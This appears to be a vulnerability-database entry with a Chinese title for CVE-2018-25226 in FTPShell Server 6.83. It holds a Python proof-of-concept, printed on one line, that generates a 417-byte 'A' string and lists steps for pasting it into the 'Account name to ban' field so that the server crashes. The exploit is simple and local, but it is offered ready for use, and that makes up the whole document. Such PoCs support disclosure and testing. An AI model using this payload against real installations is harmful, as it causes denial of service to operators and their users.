CVE-2018-25226 FTPShell Server缓冲区溢出漏洞

# PoC for CVE-2018-25226 # Description: Triggers a Denial of Service in FTPShell Server 6.83 # via a buffer overflow in the 'Account name to ban' field. import sys def generate_payload(): # The description mentions a 417-byte payload triggers the crash payload = "A" * 417 return payload if __name__ == "__main__": buf = generate_payload() print(f"[+] Generated PoC payload with length: {len(buf)}") print("[+] Payload:") print(buf) print("\n[+] Usage Instructions:") print("1. Open FTPShell Server 6.83 Management Interface.") print("2. Navigate to 'Manage FTP Accounts'.") print("3. Locate the 'Account name to ban' input field.") print("4. Paste the payload above into the field.") print("5. The application should crash, demonstrating the DoS vulnerability.")